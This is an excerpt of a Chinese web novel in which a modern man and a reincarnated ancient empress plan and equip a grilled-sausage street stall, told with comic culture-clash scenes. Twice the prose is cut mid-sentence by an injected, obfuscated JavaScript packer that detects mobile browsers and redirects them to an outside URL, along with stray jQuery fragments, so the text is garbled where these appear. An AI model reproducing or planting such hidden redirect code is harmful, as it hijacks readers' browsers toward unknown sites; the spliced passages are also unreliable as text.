她愣住了,呆呆地看着他。 顾云舟知道,他对了。 他趁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258176|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热打铁,身体也微微前倾,压低了声音。 “你想想,我们为什么要看别人的脸色?为什么要被别人的规则束缚? 那个站长,那些客户,他们凭什么对我们呼来喝去?” “我们,可以自己做自己的老板。” 他的话语充满了蛊惑。 他伸出手,越过小小的餐桌,轻轻握住了她放在桌上那小小的手。 “到那时,你不用再等我。因为我每天都在你眼前。 我也不用再向你报备行踪,因为我的每一步,都有你陪着。” “我们一起赚钱,一起吃饭。这,才叫安稳。这,才叫家。” 整个房间都安静了。 萧青鸾垂着眼帘,她一动不动,任由顾云舟握着她的手。 顾云舟也没有再说话,只是静静地看着她,等待着她”。 过了很久,久到顾云舟以为自己失败了。 萧青鸾终于动了。 她缓缓抬起头,重新看向他。 她看着眼前的男人。 那种神采,那种运筹帷幄的气度。 让她恍惚间,看到了记忆深处,那个站在大殿中央的影子。 最终,她反手,轻轻握住了他的手。 她的嘴角,勾起一抹无比真实的笑意。 她重新端起了古代帝王的架子,用一种庄严肃穆的口吻,缓缓开口。 “先生所奏,甚合朕意。” “朕,准了!” 她松开手,端起饭碗,拿起筷子,夹了一块蛋放进嘴里,细细咀嚼,然后快速的在顾云舟脸上吧唧了一口。 第一百九十二章 烤肠 第二天一大早,顾云舟就坐在床边,捧着手机操作着。 成了。 他呼出一口气,感觉压在胸口的一块大石头总算松动了些。 身后,萧青鸾靠在床头,一双眼睛直勾勾地盯着他的后脑勺。 顾云舟头也没回。 “从今天起,我们就是合伙人了。”他把手机扔到床上,站起身,“作为合伙人,第一件事,就是市场调研。” “市场调研?那是什么”。 “就是出去看看,别人是怎么赚钱的,我们又能做什么。”顾云舟拉开衣柜,扔给她一套新衣服,“换上,我们出门。” ..... 半小时后,两人站在市中心最繁华的商业街上。 高楼耸立,穿着光鲜的男女从他们身边匆匆走过,每个人都走得很快。 萧青鸾的眉头就没松开过。 她穿着顾云舟挑的白色长裙,站在一家装修奢华的女装店门口,看着橱窗里的模特。 “先生。” “嗯?” “此地女子,衣不蔽体,成何体统。” 顾云舟顺着她的目光看去,模特身上是一件露肩的夏装。 他眼角抽了抽,拉着她就走。 “这叫时尚,你不懂。” 他们走进店里,一个热情的导购迎了上来。 “美女,看我们最新款的裙子吗?今年最流行的法式复古风。” 萧青鸾没理她,径直走到一排衣服前,伸出两根手指,捏起一件连衣裙的料子搓了搓。 “织造尚可。”她点点头,随即又摇头,“纹样流俗,配色杂乱,不堪入目。” 导购的笑容僵在脸上。 顾云舟一把捂住萧青鸾的嘴,拖着她就往外跑。 “对不起对不起,她脑子有点问题!” ...... 下一站,咖啡馆。 一推开门,浓郁的咖啡烘焙气味扑面而来。 萧青鸾的鼻子立刻皱了起来,脚步一顿,脸上露出嫌恶的表情。 “这是何处?怎有如此浓重的药味?” 顾云舟扶额。 他找了个角落坐下,点了两杯最便宜的美式。 咖啡端上来,萧青鸾端起杯子,凑到鼻尖闻了闻,眉头拧成一个川字。她学着顾云舟的样子,小心翼翼地抿了一口。 下一秒,她整张俏脸都扭曲了。 “噗” 幸好顾云舟反应快,及时用餐巾纸挡住。 “苦!涩!此等汤药,如何入口!”她放下杯子,满眼都是震惊,“竟还有如此多的人趋之若鹜,世风日下,人心不古!” 顾云舟看着周围投来异样目光的顾客,只想找个地缝钻进去。 他端起自己的杯子,一口气喝完,拉起她就走。 “下一个!” 调研进行得异常艰难。 回到出租屋,顾云舟决定换个思路。 他打开自己的备用手机,点开一个电商平台的商家后台。 “你看,现在还有一种方法,叫线上开店。不用出门,在家里就能把东西卖给全天下的人。” 他指着屏幕上那些花花绿绿的曲线和数据。 “这是访客数,这是转化率,这是客单价……” 萧青鸾凑了过来,盯着屏幕。 她看了很久,眼神从好奇,到疑惑,再到不耐烦。 最后,她指着那个复杂的销售漏斗模型,秀眉紧蹙。 “满纸符文,数字诡谲。”她下了结论,“此非经世济民之道,乃奇技淫巧。乱人心智,不可取。” 顾云舟关掉手机,仰天长叹。 完了。 跟一个古代帝王解释电商后台,是他今天犯下的最大错误。 一整天下来,一事无成。 眼看太阳西斜,出租屋里一片沉寂。 顾云舟兜里只剩下几百块现金。 萧青鸾也难得地沉默了。她大概也意识到了,这个世界做生意比她想象中要难得多。 “走吧,去吃饭。”顾云舟站起身,声音有些沙哑。 ..... 两人漫无目的地走在街上。 天色渐渐暗了下来,路灯一盏盏亮起。 当他们拐过一个街角,一股孜然辣椒和肉类焦香的气味,猛地钻进了两人的鼻子。 紧接着,一阵喧闹的热浪扑面而来。 眼前豁然开朗。 这是一条长长的街道,两旁挤满了各式各样的小摊。灯火通明,人声鼎沸。 铁板上鱿鱼须翻滚的声音,油锅里臭豆腐沸腾的声音,还有摊主们嘹亮的吆喝声,顾客们的欢笑声,交织成一片。 萧青鸾彻底愣住了。 白日里商业街的精致,咖啡馆的安静和做作,在这里荡然无存。 这里只有最直接的食物香气和真实的叫卖。 “先生……”她下意识地抓住了顾云舟的衣角 顾云舟看着她被灯火映亮的侧脸,心里一动。 “这里叫夜市。”他轻声说,“走,带你去看看。” 他拉着她,汇入了拥挤的人潮。 萧青鸾的眼睛完全不够用了。 她看看这边炸鸡排的摊子,金黄的鸡排在油锅里滋滋作响。 又看看那边卖水果捞的,五颜六色的。 一个套圈的摊主扯着嗓子大喊:“十块钱二十个圈,套中哪个拿哪个,梨子手机大娃娃,随便拿随便要啊!” 萧青鸾的目光被那个巨大的粉色狗熊玩偶吸引了。 她喃喃自语:“竟有如此粗鄙的博戏……” 话虽如此,脚却挪不动了。 顾云舟哭笑不得,拉着她继续往前走。 “原来城中百姓,夜里竟是这般光景。”萧青鸾的语气里充满了新奇和震撼,“不见官吏,没有卫兵,他们却如此……快活。” 顾云舟没有回答。他也在观察。 他的目光扫过一个个摊位,心里飞快地计算着。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258177|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些小摊,投入小,见效快,现金流充足。 一个念头,在他心里慢慢成形。 就在这时,一股肉香吸引了他们的嗅觉。 两人不约而同地停下脚步。 他们面前,是一个烤肠摊。 小小的推车,一个简易的烤架。 摊主是一对很年轻的夫妻。男的负责把一根根饱满的肉肠在烤架上翻动,刷上油和酱料。女的则麻利地收钱,打包,递给客人。 两人配合默契,几乎没有多余的交流,一个眼神就知道对方要做什么。 烤肠在炭火上被烤得油光锃亮,表皮微微焦脆,油脂滴落在炭火上,发出“滋啦”的轻响,香气四溢。 小小的摊位前,排起了一条长队。 排队的人脸上都带着期待,空气里弥漫着一股让人咽口水的香味。 顾云舟的目光,落在了那对夫妻的脸上。 他们很忙,额头上都是汗,但眼神里没有白日里那些牛马的疲惫和麻木。 当女人把一根烤好的肠递给一个小女孩时,脸上露出了一个发自内心的笑容。 那笑容,很累,但很满足。 他转过头,想和萧青鸾分享自己的发现。 却发现,萧青鸾根本没看那对夫妻。 她正一动不动地盯着烤架上那些翻滚的烤肠,眼睛亮得惊人,喉咙还轻轻地滚动了一下。 顾云舟没忍住,笑了。 他走到摊位前,对那个女人说:“你好,要两根。” “好嘞,稍等!” 很快,两根烤得外焦里嫩,撒满了辣椒粉和孜然粉的烤肠递到了他手里。 他递给萧青鸾一根。 萧青鸾接过来,学着别人的样子,小心地吹了吹,然后轻轻咬了一口。 下一秒,她的眼睛瞬间睁大。 酥脆的外皮,滚烫的肉馅,混合着香料的味道在口腔里炸开。 她顾不上烫,飞快地又咬了一大口,腮帮子鼓鼓的,幸福得眯起了眼睛。 顾云舟看着她的样子,也咬了一口自己手里的烤肠。 就是这个味道。 最简单,又好次。 他三两口吃完一根,看着还在和烤肠奋斗的萧青鸾,缓缓开口。 “青鸾。” “唔?”她嘴里塞得满满的,含糊地应了一声。 顾云舟看着她亮晶晶的眼睛问道: “我们,也卖这个,怎么样?” 萧青鸾的动作停住了。 她抬起头,嘴边还沾着一点油光。 她的目光越过顾云舟,看向那个小小的摊位,看向那条长长的队伍,又低头看了看手里这根让她无比喜欢的烤肠。 最后,她的视线重新落回到顾云舟的脸上。 她把最后一口烤肠塞进嘴里,用力地咽了下去。 然后,她伸出舌头,将嘴角的油渍舔干净,眼中闪烁着兴奋。 “可以啊。” (感谢大家的礼物,谢谢) 第一百九十三章 物资 回到出租屋,萧青鸾那股兴奋劲还没过去。 顾云舟没理她,径直走到那张破旧的木桌前,从抽屉里翻出上次写用的记事本和圆珠笔。 他坐下,拧开笔帽,神情严肃。 萧青鸾好奇地凑过来,只见顾云舟在崭新的一页上,写着什么。 “先生,这是?” “我们的启动资金。”顾云舟头也不抬,笔尖在纸上飞快移动,“总共房租水电押金五千八,一周内要交。时间很紧。” 他的笔下出现一连串条目。 二手推车,预估三百。 二手烤炉加燃气罐,预估两百。 首批食材,香肠,预估两百。 调味料,竹签,打包袋,预估一百。 清晰明了。 萧青鸾看着那张纸,上面的数字她大多不认得,但她看懂了顾云舟的表情。 当年他初为帝师,也是这般模样。 运筹帷幄,一丝不狗。 只不过,当年的沙盘变成了记事本。 “先生,这……够吗?”她小声问。 “不够也得够。”顾云舟在总计九百的数字下画了两条横线, “这是固定资产和首批耗材的钱。剩下的,是我们的预用,轻易不能动。” 他抬起头,看着萧青鸾:“从明天起,我负责执行,你负责品控。有问题吗?” “品控?” “就是好不好吃,你说了算。” 萧青鸾的眼睛亮了。 她挺直腰背,下巴微扬:“准啦。” ...... 第二天一大早,两人直奔城郊的二手设备市场。 一股机油铁锈的气味扑面而来。 这里到处堆着旧桌椅 旧厨具 旧电器,杂乱无章。 顾云舟目标明确,直奔卖小吃车的区域。 “老板,这车怎么卖?”他指着一辆看起来还算干净的不锈钢推车。 老板探出头,打量了一下他们:“三百五,不讲价。” 顾云舟没说话,走过去推了推车子,又蹲下身,敲了敲轮轴。 “轮子有点歪,推起来费劲。顶棚这块有裂缝,下雨漏水。”他站起来,平静地看着老板,“两百八,我们自己回去修。” 老板愣了一下,没想到这个年轻人看着文静,眼光却这么毒。 顾云舟没等他回答,拉着萧青鸾就走。 “哎,小伙子,回来回来!两百八就两百八!” 萧青鸾全程背着手,跟在顾云舟身后,一言不发。 她不懂什么叫轮轴,也不懂什么叫顶棚。 但她懂顾云舟。 搞定了推车,下一个目标是烤炉。 这次,萧青鸾决定亲自出马。 她走到一个摊位前,那里摆着好几个大小不一的烤炉。 她学着顾云舟的样子,伸出手指,在其中一个烤炉的外壁上轻轻敲了敲。 “咚咚。” 声音有些发闷。 她摇了摇头,走到另一个面前,又敲了敲。 “当当。” 声音清脆一些。 她又摇了摇头。 摊主是个胖大婶,看得一头雾水:“小姑娘,你这是干啥呢?” 萧青鸾没理她,走到第三个烤炉前。 她没有敲,而是俯下身,仔细端详着烤炉的出火口。 半晌,她抬起头,对顾云舟说:“先生,此炉内里不均,恐火力有失偏颇,非良品。” 顾云舟:“……” 胖大婶:“……” 虽然听不懂,但顾云舟还是凑过去看了看。 果然,那个出火口有几个孔被黑色的污垢堵住了。 他冲萧青鸾竖了个大拇指。 最终,他们在市场尽头一个老大爷的摊位上,找到了一辆保养得不错的推车和一个看起来很结实的烤炉。 老大爷姓钱,头发花白,人很爽快。 “小两口,创业啊?”钱大爷一边帮他们把烤炉搬上推车,一边乐呵呵地问。 顾云舟点点头:“是啊大爷,混口饭吃。” “看你们俩一个踏实肯干,一个……嗯,有气势。”钱大爷想了半天,憋出个词,“都是好样的。” 他从旁边的箱子里翻出一大把东西。 “来,这些夹子 油刷 调料盒,都拿去用。刚开始不容易,大爷送你们的。” 顾云舟连忙道谢。 钱大爷摆摆手:“以后生意做大了,别忘了大爷就行。记住一句话,做生意,和气生财,东西拿好。” 推着满载家当的小车,两人走在回家的路上。 萧青鸾看着身边推车的顾云舟,他的额头上渗出细密的汗珠,T恤的后背也湿了一块。 可他的脚步很稳, 她忽然觉得,这辆吱呀作响的破车,比她当年乘坐的还要让她心安。 ..... 回到出租屋,真正的硬仗才刚开始。 顾云舟把昨天在超市买的十几种不同品牌的香肠,全部拆开,摆在桌上。 “首席品控官,”他看向萧青鸾,“到你上场了。” 萧青鸾瞬间进入状态。 她洗了下手,拿起香肠和签子在那窜。 顾云舟负责在小小的厨房里生火,烤制。 很快,第一根试验品出炉。 他递给萧青鸾。 萧青鸾没有立刻下口,而是先闻了闻。 然后,她才咬了一小口,在嘴里细细品味。 三秒后,她眉头紧锁,将剩下的香肠放回盘子里。 “此肉质太散了,掺杂太多,不好次。” 顾云舟点点头,在记事本上画了个叉。 第二根。 “香料过重。” 又一个叉。 第三根。 “外皮过火,内里生,火候掌控不当。” 顾云舟看了一眼烤炉,调整了火力大小,又画了个叉。 一整个下午,小小的出租屋里弥漫着烤肠的香气。 桌上的失败品越堆越高。 萧青鸾的点评也越来越精辟。 “此物虚有其表。” “此物平平无奇。” “此物……尚可,但离完美二字,仍有差距。” 顾云舟从一开始的哭笑不得,到后来的全然信服。 他发现,萧青鸾的味觉敏锐得吓人。 她能准确分辨出每一种香肠里细微的差别,甚至能尝出哪种。 这大概就是天赋吧。 当试验到第十三种香肠时,顾云舟的手法已经非常娴熟。 他精准地控制着火候,将香肠在烤炉上均匀翻动。 油脂滋啦作响,香气比之前任何一次都要浓郁。 他把烤好的肠递给萧青鸾。 萧青鸾接过,咬了一口。 这一次,她没有立刻说话。 她咀嚼的动作慢了下来,眼睛微微眯起。 顾云舟的心提到了嗓子眼。 萧青鸾咽下口中的食物,又咬了第二口,第三口…… 转眼间,一整根烤肠就被她吃完了。 她意犹未尽地舔了舔嘴角,抬起头,看着顾云舟,眼神发亮。 她没有说什么,只是用力地点了点头。 “就是它了。” 顾云舟长长地舒了一口气,感觉比当年帮她还累。 他拿起一根还没烤的同款香肠,仔细看了看包装袋上的名字。 王中王。 朴实无华,价格亲民。 他把这个名字,重重地圈在了记事本上。 夜幕降临。 两人把买来的推车和烤炉擦洗得干干净净,放在狭小的客厅里。 燃气罐也接好了。 竹签,打包袋,各种调味料,整齐地摆放在推车的储物格里。 顾云舟看着眼前这套凝聚了他们全部心血家当的设备,心中涌起陌生的情绪。 他转头看向萧青鸾。 她正蹲在小车旁,伸出手指,好奇地拨弄着车轮,脸上带着一种孩子气的满足。 万事俱备。 只欠东风。 (现在应该不尬了吧,男主的记忆也在慢慢恢复。)